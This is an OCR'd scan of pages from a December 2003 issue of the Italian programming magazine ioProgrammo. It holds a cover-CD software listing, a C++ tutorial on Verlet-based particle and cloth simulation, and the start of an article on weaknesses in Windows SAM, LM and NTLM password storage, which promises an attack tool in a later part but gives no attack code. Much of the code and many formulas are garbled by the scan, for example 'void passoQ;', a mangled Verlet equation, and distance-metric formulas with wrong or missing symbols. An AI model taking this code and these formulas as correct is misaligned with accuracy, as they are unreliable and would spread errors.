J2EE. Le indagini alla ricerca dei colli di bottiglia
coinvolgono più campi: utilizzo della CPU,
occupazione della memoria e distribuzione del
carico fra i thread. In questa release sono stati
risolti alcuni bug presenti nella precedente
release. Versione di valutazione valida dieci
giorni.
jprofiler_windows_2_3_3.exe
Force 2.0.8
Fortran: editor e compilatore
integrati
Un ambiente di sviluppo integrato che permet-
te di utilizzare appieno il Fortran77. L'editor
include tutte le più comuni caratteristiche
come la colorazione sintattica, le funzioni di
stampa ed altro. Nel pacchetto è integrato il
compilatore Fortran G77 ed è possibile genera-
re applicazioni perfettamente compatibili con
la piattaforma Win32.
Gratuito.
Force2082.exe
eXist
Un esempio efficiente e leggero
di DB XML nativo
Un database XML nativo open source scritto
completamente in Java che può essere sia utiliz-
zato come applicativo stand-alone, sia come
parte di un'applicazione o di una servlet.
Exist ha una propria implementazione di valu-
tazione delle Query che non è ancora completa
(il progetto è soltanto alla versione 0.9.2! E pro-
mette la completezza per la versione 1.0), ma
introduce alcune estensioni, quali la possibilità
di usare le espressioni regolari. Come sempre, le
versatilità peculiari di alcuni progetti sono
comode e allettanti, ma limitano la portabilità:
utilizzando alcune delle feature specifiche di
eXist, si finisce per vincolarsi a questo database
pur continuando ad utilizzare XML:DB come
API di accesso.
Scompattate il file eXist-0.92.zip in qualsiasi
directory, ad esempio C:. Fatto questo, per
avviare il DB è sufficiente lanciare il file batch
C:\eXist-0.92\bin\startup.bat, mentre al fine di
interromperne l'esecuzione è necessario lan-
ciare C:\eXist-0.9.2\bin\shutdown.bat
eXist-0.9.2.zip
Iran Speed Designer 1.5
Per generare applicazioni Web su
piattaforma .NET
Un ottimo aiuto per chi si trova a sviluppare
applicazioni Web su .NET: è possibile svilup-
pare una completa applicazione three-tier,
senza la necessità di scrivere codice. Sofisticate
interfacce utente ed una robusta logica di
accesso ai dati, sono automaticamente genera-
te da Iron Speed, al programmatore è lasciato
da scrivere solo il codice strettamente relativo
alla logica applicativa. Scrivere meno codice,
oltre a ridurre i tempi di sviluppo, consente di
ridurre anche la possibilità di introdurre errori.
Piccoli miglioramenti e risoluzione di alcuni
bug in questa release.
Versione di prova valida quindici giorni.
lronSpeedDesignerlnstaller.exe
Gava SE 1.0
Sviluppa applicazioni e applet
multilingua
Un IDE scritto interamente in Java che consen-
te di sviluppare applicazioni ed applet Java. A
testimoniare la bontà dell'ambiente, è da nota-
re che buona parte di Gava è stato sviluppato
attraverso Gava stesso. Può essere eseguito su
qualsiasi piattaforma, a patto che sia presente
una versione del runtime di Java superiore alla
1.4. L'interfaccia si presenta semplice e ricca di
ausili per la scrittura veloce del codice. Adatto
sia a chi si avvicina a Java solo adesso sia agli
sviluppatori più esperti.
Versione di prova valida trenta giorni.
gavainst.exe
VCX Library 2.0
Multi-client audio streaming
su TCP/IP
Una libreria di componenti ActiveX per gli svi-
luppatori di applicazioni audio come chat voca-
li, Voice over IP sistemi di conferenza a distanza,
il tutto attraverso un framework di streaming
audio a bassa latenza. Sono inclusi una serie di
componenti per la registrazione del suono, per
il playback, la codifica/ decodifica, il missaggio,
e molti altri ancora. Degni di menzione sono
anche i componenti client/ server per la con-
nessione TCP/IP peer-to-peer e comunicazione
broadcast.
Versione dimostrativa.
niCTImageStudio 1.8.2
L'immagine delle tue applicazioni
Un package comprendente 12 controlli che per-
mettono di implementare qualsiasi tipo di
manipolazione di immagine nelle applicazioni.
Tra le funzioni implementate c'è la possibilità di
importare immagini da scanner, tuner televisi-
vi, WebCam e videocamere digitali.
Sono consentite numerosi tipi di conversioni e
sono disponibili filtri digitali ed effetti fotografi-
ci di livello professionale. Ecco l'elenco dei for-
mati supportati: BMR ICO, CUR, ANI, WMF,
EMF, JPEG, J2K (JPEG2000), GIF, PNG, TIFF
»> 20/Dicembre 2003
http://www.ioprogrammo.it
Elenco Software sul CD T SOFTWARE SUL CD
PCX, TGA, RAS.
Versione di prova.
NCTImageStudio.exe
Computer Telephony
Messenger 2.2
Il telefono a portata di applicazione
Una versione particolarmente semplificata
di TAPI ActiveX che consente agli sviluppato-
ri di integrare nelle funzioni di notifica via
telefono e tramite spedizione di SMS. Il pac-
chetto include un server multithreaded che
consente la ricezione e l'instradamento di
messaggi.
Versione di prova valida trenta giorni.
CTMessenger.exe
BLS Phonehome
Control 1.1
Proteggi le tue applicazioni dalla
pirateria
Un controllo che, una volta incluso nelle appli-
cazioni, si occupa di avvisare via Internet l'avvio
delle applicazioni stesse. Le informazioni che è
possibile ricavare danno indicazioni sufficien-
temente precise per capire in che parte del
mondo è utilizzata la nostra applicazione.
Versione trial.
PhonehomeSetup.exe
FlowChartX Control 2.0
Per dare una rappresentazione
grafica ai flowchart
Un aiuto sostanziale nella rappresentazione di
workflow, flowchart, diagrammi di processo,
diagrammi entità-relazione e tutto quanto rien-
tra nella visualizzazione grafica di processi.
LActiveX prevede più di cinquanta forme predi-
segnate ma è lasciata all'utente la possibilità di
definirne di nuove.
Versione dimostrativa, è possibile inserire un
massimo di trentadue oggetti per diagramma.
FCXdemo.zip
Automated SQL Builder 1.2
Interagire con i database
semplicemente
Un controllo ActiveX che consente di costruire
applicazioni di interazione con DB più facili da
utilizzare per gli utenti. Le interrogazioni ven-
gono generate dal controllo a partire dalle
richieste degli utenti che, anche non conoscen-
do SQL, possono interagire con qualsiasi base
di dati.
Le query sono generate da un motore interno al
controllo che traduce i criteri introdotti dall'u-
tente in SQL.
00019349.exe
PCQNG 2.0
Generatore di numeri casuali
A partire da dati rilevati dall'hardware presente
nel PC, PCQNG è in grado di generare numeri
"realmente casuali". Lo sviluppatore accede
all'ActiveX semplicemente richiedendo un
numero intero a 32 bit. Usi tipici di PCQNG
sono nella crittazione di dati, nella generazione
di chiavi casuali e password.
Versione di prova valida quattordici giorni.
PCQNG20Setup.exe
AxVideoConvert 1.0 pop
Convertire file video in qualsiasi
formato
Attraverso questo controllo è possibile converti-
re qualsiasi formato di file video: AVI, MPEG1,
MPEG2 e WMF. Versione dimostrativa.
axvid10.exe
Clearlmage COIVI
Development System 1.0
Riconoscere codici a barre
in qualsiasi stato
Un componente COM che consente di realizza-
re applicazioni che riconoscano automatica-
mente codici a barre, a partire da documenti
anche di bassissima qualità sia a due che a una
dimensione.
ClearlmageSDK_1_1_2.exe
ISAX ListBox 3.0
Enhance the standardUn control-
lo ListBox dalle caratteristiche
avanzate.
Un notevole potenziamento del controllo
Listbox standard di Microsoft: possibilità di
scegliere il colore di ogni singolo item, decider-
ne l'indentazione, settare la presenza di barre
di scorrimento orizzontale per la lettura di
alberi particolarmente lunghi e molto altro
ancora.
http://www.isax.biz/Programming.htm
ISAX XListBox.zip
KernelCAD ActiveX
Control 1.1.2127
Visualizzare e interagire
con modelli tridimensionali
KernelCAD è un controllo che consente di
visualizzare modelli 3D interattivi. Grazie a
questo controllo potremo creare dei veri e pro-
pri CAD che si gioveranno di una visualizzazio-
ne in tempo reale di modifiche e rotazioni
apportate ai modelli. Versione di prova valida
trenta giorni.
DIStudioSetupSE_1_1_2127.EXE
LIBRERIE JAVA
AdventNet SIUMP API 4.0
Monitorare le performance della
rete
Un potente set di API che comprende la libreria
Java SNMP e il protocollo per realizzare applica-
zioni di gestione della rete. Potente e sicuro,
questo set di api include le tre versioni di SNMP
(1.0, 2c e 3.0) in un'unica API. Particolarmente
adatto per il monitoraggio delle performance
dei vari soggetti presenti in rete. Versione di
prova valida quarantacinque giorni.
AdventNetSNMPAPI 4.exe
Adaptive Poker
Per tentare la sorte con stile
Un applet che consente di giocare a poker in
modo grafico e supportando un massimo di
dieci giocatori collegati contemporaneamente.
E' sufficiente fare l'unzip del file e fare un dop-
pio clic su start.jar. E' necessario che sia instal-
lata una virtual machine 1.3 o superiore.
apoker20.zip
Stocks Ticker
Monitorare la borsa
Un componente che consente di realizzare
applicazioni Java e siti Web che integrino la
capacità di monitorare l'andamento dei titoli
azionari. Versione dimostrativa.
demo.zip
Javawatch
Tieni sotto controllo il tuo Web
Server
Un tool gratuito che consente di tenere sotto
controllo tutte le attività del tuo Web Server. Il
monitoraggio avviene in real time e, tra gli altri,
controlla: l'hits table, i visitatori, il visited paths
table, la banda passante occupata ed altre fun-
zioni vitali. Il tutto realizzato in un comodissi-
mo applet Java.
javawatch.zip
http://www.ioprogrammo.it
Dicembre 2003/21 ►
SOLUZIONI T ■ Fisica
Gli Algoritmi nella fisica delle particelle
Simulazioni per
sistemi di particelle
Nuovi modelli fisici di sistemi di particelle sono stati studiati e
attuati; essi rendono la simulazione più efficace e veloce,
esaminiamone i contenuti e l'implementazione.
PREREQUISITI
L'ambito di applicazio-
ne delle leggi della
fisica è un sistema tri-
dimensionale. Nel trat-
tare le variabili in
gioco si distinguono
vettori e scalari. I primi
sono la posizione x, la
velocità v, l'accelera-
zione a e la forza f; ad
esempio x=(xx, xy, xz),
ossia è costituita da tre
componenti spaziali;
gli scalari sono il
tempo t e la massa m.
Le fondamentali leggi
della cinematica da
conoscere sono:
v= Ax/At
a= Av/At
f=m*a
Definiscono la velocità
come rapporto tra
variazione di spazio
rispetto al tempo, l'ac-
celerazione come
variazione di velocità
rispetto al tempo ed
infine la forza come
prodotto tra massa e
accelerazione.
Giochi di azione, prodotti multimediali inte-
rattivi, simulazioni in generale sono tutte
applicazioni per computer che hanno in
comune la condivisione di modelli fisici. Ad esem-
pio, un buon gioco di automobili non dipende dalla
sola grafica che lo riproduce o dall'hardware poten-
te che lo ospita. I modelli che simulano i movimenti
e le collisioni sono di eguale importanza. Anche su
questo punto lo stato dell'arte è in contìnuo svilup-
po, ed è interessante notare come si sia evoluto.
Modelli di ultima generazione sono in grado da un
lato di essere sufficientemente esaustivi, rendendo
la simulazione adeguatamente verosimile, dall'altro
sono snelli, che garantisce all'applicazione che ne
fa uso una maggiore velocità. È proprio la seconda
qualità descritta che ci apprestiamo ad esaminare.
Essa è particolarmente gradita dall'intera platea che
fa uso massiccio di modelli fisici. Se è vero che gli
hardware continuano un costante, quanto inesora-
bile incremento di potenza, è pur vero che le rap-
presentazioni grafiche, e i moderni rendering, sono
sempre più esigenti in termini di risorse (sia memo-
ria che velocità), cosicché ci troviamo, attualmente,
davanti alla paradossale situazione per la quale i
vecchi modelli fisici non sono più adeguati per
molte circostanze. A questa considerazione si deve
aggiungere il fatto che in molti casi sono richieste
buone prestazioni per applicazioni interattive, per le
quali la terminazione o il cambio di situazione può
avvenire in qualsiasi momento, ed ecco che sorge la
necessità di sviluppare nuovi algoritmi risolutori.
Come qualcuno dei nostri lettori, matematici o fisi-
ci, avrà intuito, si tratta di attuare delle approssima-
zioni alle leggi della fisica per rendere più "agili" le
quantità di dati e le operazioni matematiche che le
trattano. Ad ogni modo voglio subito tranquillizzare
tutti sottolineando che non è richiesta alcuna cono-
scenza della matematica e della fisica se non quella
scolastica. Partiremo dal principio e specificheremo
tutte le ipotesi semplificative e le scelte algoritmiche
adottate. La costruzione del programma verrà svi-
luppata nel linguaggio più appropriato per la situa-
zione il C++.
I PRIMI PASSI
IMPLEMENTATIVI
La costruzione del nuovo modello per un sistema di
particelle si basa sulla coppia di equazioni che fanno
riferimento alle canoniche leggi della cinematica. I
valori attuali x e v vengono calcolati rispetto a valori
di partenza xl e vi su un intervallo di tempo Dt.
x=xl+vl *Af
v=vl+a*At
Ad ogni modo utilizzeremo una variazione del pre-
cedente modello che tende a discretizzare il sistema
di equazioni. In particolare, si tiene conto dei valori
precedenti di posizione e si effettuano approssima-
zioni. Si adotta il metodo di integrazione di Verlet
che è molto diffuso nel campo della simulazione
molecolare dinamica. Se indichiamo con xl e xO
rispettivamente due posizioni in corrispondenza di
due istanti di tempo differenti ti e tO, possiamo scri-
vere l'equazione del moto uniformemente accelera-
to come segue:
x-2*xl-x0+a*hf
Si presuppone che gli istanti di tempo, che cronolo-
gicamente si presentano come W, ti e t siano ca-
denzati dall'intervallo Af, cosicché si possono scrive-
re le due equazioni approssimate della velocità co-
me segue:
V=(x-Xl)/At
»> 22/Dicembre 2003
http://www.ioprogrammo.it
Fisica ■ T SOLUZIONI
Vl= (Xl-XO)IM
che sostituite alle equazioni di partenza ci fornisco-
no l'integrazione di Verlet. Questo modello non si
può considerare molto preciso ma è comunque sta-
bile e soprattutto veloce. Definito modello si tratta
di iterare l'equazione producendo ad ogni ciclo
nuovi valori delle posizioni. Per cui, nel generico
passo dell'iterazione, dopo aver calcolato il nuovo
valore della xl, secondo Verlet si devono aggiornare
i valori per poter calcolare il successivo spostamen-
to, così xO diventa xl (xO-xl). Il successivo passo è
quello dell'implementazione. Fondamentale è la
scelta della struttura dati, che nel caso specifico pre-
vede "naturalmente" l'utilizzo di vettori. Nella classe
C++ proposta tali vettori sono visti come ulteriori
classi; per essi bisogna garantire una buona efficien-
za di funzionamento che si può attuare con l'uso di
appropriate liste a puntatori, e un set di operazioni
come il prodotto scalare e il prodotto vettoriale da
ottenere mediante overloading di operatori. Ecco il
codice:
// Simulazione di sistemi di particelle
// Classe di base
class Sistemadiparticelle {
vettore m_xl[NUM_PARTICELLE]; // Posizione corrente
vettore m_xO[NUM_PARTICELLE]; // Posizione precedente
vettore m_a[NUM_PARTICEH_E]; //Accumulatore di forza
vettore m_gravita; // Gravità
float m_deltat;
public:
void passoQ;
private:
void verletQ;
void vincoli();
void forza();
}
La classe che ci apprestiamo a costruire è sistemadi-
particelle. Le posizioni si riferiscono a quella corren-
te identificata con xl e quella precedente xO. Si
notano, oltre alla presenza della costante NUM_
PARTICELLE, che indica la dimensione dei vettori,
ossia il numero di particelle del sistema, che potreb-
be essere anche implementata come membro stati-
ci {static); una serie di vettori e una variabile che
contengono la posizione corrente e precedente delle
particelle, della forza accumulata e dell'accelerazio-
ne; si precisa che queste ultimi valori sono vettori
poiché possono assumere differenti valori per i
diversi componenti del sistema. Si distinguono poi i
membri pubblici e privati della classe. Tra i primi vi
è la sola funzione passo che genera i nuovi valori
secondo il modello che stiamo costruendo, richia-
mando in sequenza le funzioni private. Tra membri
privati vi distìnguono la funzione verlet che riprodu-
ce il modello descritto, vincoli che tiene conto dei
vincoli del particolare sistema che andiamo a simu-
lare e forza che calcola la forza applicata alle singole
particelle del sistema. Le questioni più tecniche,
riguardanti ad esempio l'implementazioni della
classe vettore o costruttori, non vengono riportate
per ovvie ragioni di spazio e si rimanda loro com-
pletamento alla buona volontà del lettore; propongo
solo dei consigli. La classe vettore è un array unidi-
mensionale di puntatori, in cui ad ogni elemento
sono "appesi" tre nodi che indicano le tre compo-
nenti spaziali x, y e z. Importante è sviluppare un
overload sulle due operazioni di prodotto e somma
(*, +) con le quali si possono fare il prodotto vettoria-
le e scalare per la prima in funzione degli operandi
coinvolti (se entrambi array allora vettoriale, se uno
è costante allora scalare) e la somma tra vettori per
la seconda. Passiamo all'implementazione di due
membri privati:
// Integrazione di verlet per passi
void sistemadiparticelle: :verlet() {
for (int i=0; i<NUM_PARTICELLE; i+ + )
{ vettore& xl = m_xl[i];
vettore temp xl;
vettore& xO = m_xO[i];
vettore& a = m_a[i];
xl += xl - xO + a*m_deltat*m_deltat;
xO=temp; }
}
// Funzione che accumula la forza per ogni particella
void sistemadiparticelle: :forza()
{ // tutte le particelle subiscono l'azione della gravità
for (int i=0; i<NUM_PARTICELLE; i+ + )
{ m_a[i] = m_gravita; }
}
// Funzione pubblica per l'attuazione di un singolo passo
void sistemadiparticelle: :passo()
{ forzaQ;
verlet();
vincoli(); }
L'implementazione segue la descrizione proposta.
Di seguito, al momento della definizione del model-
lo da implementare, verrà proposto il metodo vinco-
UO.
UN'APPLICAZIONE
PRATICA
Una volta definite le strutture di riferimento, ed i
metodi elementari che governano le azioni previste
dal modello, è il caso applicare tali metodi ad una
situazione di maggiore complessità. Si vuole costrui-
re un sistema di particelle che possono tra loro colli-
dere e che siano poste in un apparato di vincoli; il
che, detto in termini più comprensibili, e meno
GLOSSARIO
OVERLOADING
Si ha quando un
operatore, una
funzione o comunque
un oggetto assumono
nome già esistenti al
fine di sovrapporre
metodi simili e rendere
alcune operazioni più
intuitive.
http://www.ioprogrammo.it
Dicembre 2003/23 ►
SOLUZIONI T ■ Fisica
PER SAPERNE
DI PIÙ
È possibile trovare utili
riferimenti in alcuni
articoli usciti sempre
nella sezione soluzioni
di ioProgrammo scritti
dal sottoscritto.
I numeri a cui vi
rimando sono il 56, in
cui si affronta la
simulazione della forza
di gravità, il 57 in cui
vengono trattati alcuni
algoritmi per la
simulazione di
superfici deformabili
come i tessuti, ed
infine il numero 58
dove la simulazione si
incentra sui corpi
rigidi. Alcuni di questi
articoli sono anche
riportati al sito di
riferimento della
rivista
www.ioproqrammo.net .
Per l'implementazione
in C++ è da considerare
un valido riferimento
"C++ reference"
(collana "i 5€" di
Edizioni Master).
Fig. 1: Insieme di particelle interne ad un cubo.
accademici, si traduce in una certa quantità di parti-
celle poste all'interno di una scatola. Ogni singola
particella è dotata di forza che si può immaginare
essere prodotta da una molla. Come accennato, il
modello che verrà realizzato è differente dai cono-
sciuti schemi di simulazione. Si farà riferimento a
una struttura di proiezioni che circoscrive gli ostaco-
li. Procedendo per proiezioni possiamo muovere
punti per piccole distanze finché sono liberi dagli
ostacoli, il che si realizza, usualmente, muovendo la
particella in perpendicolare rispetto alla superficie
di collisione. Un esempio di implementazione del
metodo vincoliQ, predisposto per attuare la costri-
zione descritta, può essere un insieme di particelle
obbligate a rimanere in una scatola cubica. Se le
misure dei due vertici opposti sono (0,0,0) e
(100,100,100) allora il codice si può sviluppare come
segue.
// Implementazione di particelle in un cubo
void sistemadiparticelle: :vincoli()
{ for (int i=0; i<NUM_PARTICELLE; i++)
{ vettore& xl = m_xl[i];
xl=vmin(vmax(xl, vettore(0,0,0)), vettore(
100,100,100)); }
}
I due operatori vmin e vmax vengono applicati en-
trambi a due vettori e restituiscono rispettivamente
i vettori "minori" e "maggiori". I due aggettivi prece-
denti sono posti tra virgolette poiché in questo con-
testo hanno un significato particolare. Vengono
valutate le diverse componenti dei vettori e si sele-
ziona l'array che presenta la componente minore (o
maggiore nel secondo caso). Il fulcro della funzione
è il calcolo del valore corrente della posizione xl. È
facile verificare come se il punto è interno al cubo
viene assegnato a xl la posizione stessa della parti-
cella, altrimenti essa viene "schiacciata" su un lato
della scatola. L'appiattimento su una superficie del
cubo è dovuta al coefficiente nullo di urto che è
implementato nell'espressione che genera xl. Un
modello così definito può essere, con profitto, utiliz-
zato per simulare sia corpi rigidi che corpi elastici
come tessuti, si tratta di tarare, in modo appropria-
to, le molle del sistema, coefficienti che producono
rigidità saranno usati per i solidi, mentre altri valori
che definiscono forze deboli sono adatte a simulare
tessuti.
SIMULAZIONE
DI TESSUTI
Adottando come modello di riferimento il sistema di
integrazione di verlet associato ad un set di vincoli,
si possono riprodurre differenti realtà fisiche.
Nell'esempio precedente abbiamo visto come sia
possibile descrivere il moto di particelle all'interno
di un box, in cui i punti non rimbalzano con gli urti
alle pareti. Per simulare un tessuto, obiettivo del pre-
sente paragrafo, è necessario riformulare i vincoli, o
meglio aggiungerne di nuovi.
Un breve inciso è necessario per puntualizzare che
Fig. 2: Una bandiera è un classico esempio di tessuto.
un qualsiasi tessuto può essere visto come un insie-
me di punti, ovviamente, maggiore è il numero di
questi punti e migliore sarà l'approssimazione che si
ottiene, anche se peraltro sarà inevitabile una
memorizzazione più pesante quindi una perfor-
mance più lenta. Comunque indipendentemente
dal numero di punti scelti per simulare la tecnica
rimane invariata. Concentriamo, infatti, l'analisi a
soli due punti che segnaliamo come xp e xq. Un vin-
colo (ancora non legato in modo specifico ai tessuti)
sarà imporre una distanza prefissata tra le due parti-
celle, supponiamo 10. Assumendo la metrica eucli-
dea, il vincolo assume la forma:
\xp-xq\=10
Il soddisfacimento di tale vincolo è indispensabile
per mantenere invariate le distanze tra le varie par-
ticelle, poiché altrimenti, anche ponendo inizial-
mente i vari punti in modo corretto dopo poche ite-
razioni questi si "sparpaglierebbero". Un modo per
implementare l'espressione precedente è mostrato
di seguito in pseudo codifica:
// Nuovi vincoli
cin>>lunghezzafix;
delta=xp-xq;
lunghezza =sqrt(delta*delta);
»> 24/Dicembre 2003
http://www.ioprogrammo.it
Fisica ■ T SOLUZIONI
diff=(lunghezza-lunghezzafix)/lunghezza;
xl-=delta*0.5*diff;
x2+=delta*0.5*diff;
Da notare che delta è un vettore, cosicché, il prodot-
to delta*delta è un prodotto scalare che genera un
numero la cui radice è la distanza tra i due punti in
esame. Con lunghezzaflx si indica la distanza che fa
da vincolo per le due particelle p e q, ad esempio, il
valore 10. La situazione ottenuta si può vedere come
prodotta dalla presenza di una molla rigida di lun-
ghezza 10 incardinata sui due punti. Giustapponen-
do i codici relativi ai due vincoli proposti si ottiene
un sistema di vincoli che possono essere soddisfatti
per passi secondo la filosofia proposta da Jacobi o
Gauss-Siedel. Ad ogni iterazione vengono soddisfat-
ti vincoli locali, e dopo un numero finito di iterazio-
ni, l'intero sistema è stabile. Si considera, di volta in
volta, una configurazione migliore, tecnicamente si
dice che si esamina ad ogni passo un problema rilas-
sato. Ma riprendiamo la costruzione del modello per
il tessuto. Si scorgono due problemi, che come
vedremo, magicamente vengono risolti con un'uni-
ca soluzione (è il caso di dire "prendere due piccioni
con una fava"). La prima è una questione tecnica
che ci induce a non usare la funzione sqrt, poiché
essa presuppone una serie molto cospicua di opera-
zioni elementari che la rendono un po' "pesante", se
si pensa che deve essere ripetuta per molte coppie di
punti si può dedurre come sia importante risolvere il
problema. La seconda faccenda riguarda il fatto che
finché si mantiene fissa la distanza tra due punti il
sistema di particelle si adatta male alla rappresenta-
zione di un tessuto, si intuisce come sia preferibile
che tale distanza sia anche in minima parte variabi-
le. La soluzione è rappresentata dalla serie di Taylor
troncata al primo termine (metodo usato per
approssimare funzioni). In tal modo si approssima
la funzione radice quadrata (che non sarà precisa
garantendo quel minimo di flessibilità richiesta) e
sarà più facile da calcolare poiché si riduce a pro-
dotti (operazioni elementari rispetto alla radice). Il
risultato tradotto in pseudo-codifica è:
// Nuovi vincoli per particelle di tessuto
cin>>lunghezzafix;
delta=xp-xq;
delta* = lunghezzafix*lunghezzafix/(delta*delta+ lun-
ghezzafix*lunghezzafix)-0.5;
xl-=delta;
x2+=delta;
Come si può notare si tratta di cambiare la sola for-
mula che calcola il delta. Simulazione di laboratorio
hanno mostrato come l'asserto di lacobi sia valido
per questo modello poiché si perviene in un nume-
ro finito di iterazioni a situazioni di stabilità. Un ulte-
riore sviluppo implementativo si ottiene conside-
rando i vincoli variabili per ogni coppia, in tal caso
bisogna attrezzarsi strutturando un nuovo vettore.
Gli algoritmi di soddisfacimento dei vincoli si devo-
no, quindi, adeguare proponendo un nuovo ciclo
innestato in cui tali vincoli vengono scanditi.
Variando alcuni particolari del metodo si possono
simulare altri fenomeni fisici. Una pianta si genera
scegliendo opportunamente le coppie distribuite su
un sistema più fitto di punti.
CONCLUSIONI
I modelli proposti sono scaturiti da anni di studi su
come approssimare le leggi fisiche senza perdere
attendibilità per il fenomeno fisico. Certo lo stato
dell'arte sul filone di studio proposto è molto più
avanzato e ciò che è stato esaminato stabilisce i
punti di partenza, che comunque sono da ritenersi
sufficienti per individuare le metodologie sottostan-
ti che ne governano il loro sviluppo. Nel prossimo
appuntamento si integrerà l'argomento con nuovi
modelli, come quello per corpi rigidi, e si darà una
visione più ampia delle argomentazioni trattate. Vi
aspetto quindi per la seconda parte.
Fabio Grimaldi
U DISTANZE
La distanza tra due punti x e y, indicata con, d(x,y) è una misura di
similarità e come tutte le misure di similarità definisce una metrica. Una
metrica è tale se sono verificate quattro proprietà:
1. Simmetria d(x,y) = d(y,x) >
I 2. Diseguaglianza triangolare. A tale scopo si consideri una terza entità z
d(x,y)*d(x,z) + d(y,z)
3. Distinguibilità di non identità
Se d(x,y) * => x * y
4. Indistinguibilità di identità. Per due elementi identici x e x'
d(x,x') =
Ma le misure di distanza sono molteplici. La prima è la distanza euclidea o
L2 essa è la più conosciuta ed è comunemente detta distanza.
Sia Xjj ( il valore dell'attributo k per l'oggetto /, e sia p il numero di
attributi, allora si definirà dj-. distanza euclidea, tra /" due oggetti / ey, la
radice quadrata della somma dei quadrati delle differenze delle singole
componenti:
Un'altra distanza è la L1 o distanza Manhattan, essa è pari alla somma dei
valori assoluti delle differenze delle singole componenti:
■!'■
k=1
Una speciale classe di distanze conosciute come metrica di Minkowski
sono espresse dalla formula
'
[**-*/*!
Al variare del parametro r si otterranno diverse distanze. Per r=1, r=2, r=3
si ottengono rispettivamente le distanze L j, L2 e L y
4
http://www.ioprogrammo.it
Dicembre 2003/25 ►
TEORIA & TECNICA T La gestione delle Password di Windows
Insicurezza delle Password del sistema Microsoft
Mezza Password?
Protezione a metà!
Usereste mai una password lunga 14 caratteri sapendo che questa
verrà poi divisa a metà? Sembrerà una domanda scontata, ma è
quello che realmente avviene comunemente all'interno di Windows.
Ci CD □ WEB
\Pwdwin
■ ■ •■■ ■ " •
PER SAPERNE
DI PIÙ
BIOMETRIA E
IMPRONTE
DIGITALI
Per saperne di più
sul l'autenticazione
forte attraverso le
impronte digitali, si
consiglia di andare a
leggere l'articolo sul
numero 65 di
ioProgrammo.
Le password sono da sempre l'anello più debo-
le della catena "sicurezza". Mettiamo una pas-
sword ad una applicazione, ad un sito web o
ad un computer e ci sarà sempre qualcuno in grado
di scoprirla, magari perché è scritta sul classico post-
it giallo attaccato dietro al monitor (non capita solo
nei film!) o soltanto perché non è poi così difficile
indovinare il nome della nostra squadra del cuore.
Sembra giunto il momento di mandare in pensione
le care vecchie password una volta per tutte o - per
essere più precisi - si tratta solo di migliorare il loro
funzionamento. Già da tempo si studiano alternati-
ve di autenticazione forte completamente diverse.
Un fiorente campo di ricerca è infatti rappresentato
oggi dai sistemi biometrici o dall'autenticazione
basata su coppie del tipo "password+token", in cui
all'utente è richiesta la conoscenza di una parola
chiave correlata al possesso fisico di un oggetto
come ad esempio una Smartcard. Si può dire che in
un certo senso il meccanismo di autenticazione sta
migrando dalla "conoscenza" (di una parola o di una
frase nota solo all'utente legittimo) al "possesso" (di
un oggetto o di una particolare caratteristica fisica
come le impronte, la retina, il timbro della voce,
ecc.). Questo breve preambolo sulle insicurezze
delle password, è senz'altro, il modo migliore per
avvicinarci all'argomento che tratteremo in questo
numero di ioProgrammo, che rivolge le sue atten-
zioni al mondo delle password nei sistemi Microsoft
Windows 2000 e XP In particolare si parlerà in que-
sto articolo di come avviene la memorizzazione
delle password all'interno dei sistemi operativi in
generale e successivamente verrà illustrato il SAM di
Windows assieme ai meccanismi di autenticazione
basati su LM e NTLM. L'obiettivo sarà comunque
quello di mettere in luce le insicurezze e le vulnera-
bilità tecnico/progettuali presenti nelle implemen-
tazioni fatte da Microsoft. A questo proposito sarà
richiesta ai lettori la conoscenza di alcune nozioni di
crittografia classica, come il concetto di funzione
Hash e gli algoritmi crittografici DES e MD4 (non
pretendiamo che conosciate gli algoritmi a memo-
ria, ma solo funzionamento), che saranno imple-
mentati in maniera pratica con alcuni esempi che
fanno uso del pacchetto OpenSSL. Premettiamo che
l'articolo avrà comunque un seguito: una seconda
parte in cui, forti delle nozioni e delle tecniche
acquisite in queste pagine, ci cimenteremo nel rea-
lizzare un'applicazione in grado di portare a termine
un attacco efficace contro le password di Windows.
Gli strumenti di sviluppo richiesti sono il compilato-
re Visual C++ di Microsoft e le librerie crittografiche
OpenSSL, che dovremo compilare.
DOVE METTO
LA PASSWORD?
Il problema della memorizzazione delle password
affligge, fin dalle origini, tutti i sistemi operativi,
indistintamente; può considerarsi uno di quei pro-
blemi di natura esistenziale, quasi filosofico, che
ricorda molto la storia dell'uovo e della gallina (chi è
nato prima?). Parliamo in questi termini perché
problema di memorizzare le password è intrinseca-
mente contraddittorio già nella formulazione dei
suoi requisiti fondamentali, che sono:
A. per verificare le credenziali e autenticare un
utente bisogna poter confrontare la password
immessa ad ogni accesso con quella reale
memorizzata nel sistema;
B. l'elenco delle password deve essere inaccessibile
a chiunque in qualsiasi momento.
Il punto (A) è ovviamente un requisito indispensabi-
le per consentire ad un S.O. di gestire una moltitudi-
ne di utenti con privilegi diversi, ma contraddice in
parte il punto (B). Allo stesso modo il punto (B) è un
requisito fondamentale della sicurezza, senza il
»> 26/Dicembre 2003
http://www.ioprogrammo.it
La gestione delle Password di Windows H T TEORIA & TECNICA
quale non sarebbe necessario definire il punto (A),
perché se tutti potessero leggere le password altrui,
non avrebbe senso utilizzarle. Per uscire da questa
evidente contraddizione la soluzione scelta dai pro-
gettisti è questa: innanzitutto si considera Sistema
Operativo come un'entità a sé stante (la System
Authorìty per intenderci), in secondo luogo si deve
evitare di memorizzare la password vera e propria,
ma al contrario qualcosa che possa rappresentarla e
che, per quanto possibile, non consenta di risalire in
alcun modo alla password reale. La prima conside-
razione ammette quindi l'esistenza di un'entità
astratta e super-partes, capace di maneggiare e
gestire le password (qualcuno dovrà pure farlo, no?)
che è il S.O. in persona; l'Administrator, l'utente col
grado più alto, avrà comunque poteri limitati in que-
sto rispetto al S.O., perché potrà creare nuovi utenti
andando a scrivere nel file di password, ma non sarà
in grado di leggere quelle già memorizzate. In
aggiunta a questo, inoltre, il S.O. deve comunque
sempre vigilare sul file delle password garantendone
l'integrità rispetto a manomissioni e la sicurezza. La
seconda ipotesi si traduce, invece, con una sola
parola: crittografia. Usando la crittografìa, un S.O.
può memorizzare una password in maniera codifi-
cata e stabilire se un utente ha i diritti di accesso per
mezzo del confronto fra la firma digitale della pas-
sword reale (cioè una chiave hash) rispetto a quella
calcolata sulla password immessa da input.
Fig. 1: Principi che regolano l'autenticazione medi-
ante password: il sistema non memorizza mai la pass-
word reale, ma una sua codifica (hash) che viene con-
frontata ad ogni accesso.
Breve citazione: sotto Unix e sotto Linux il deposito
delle password di sistema sta nel famoso file "letclpas-
swd". Esistono ormai interi libri e migliaia di pubbli-
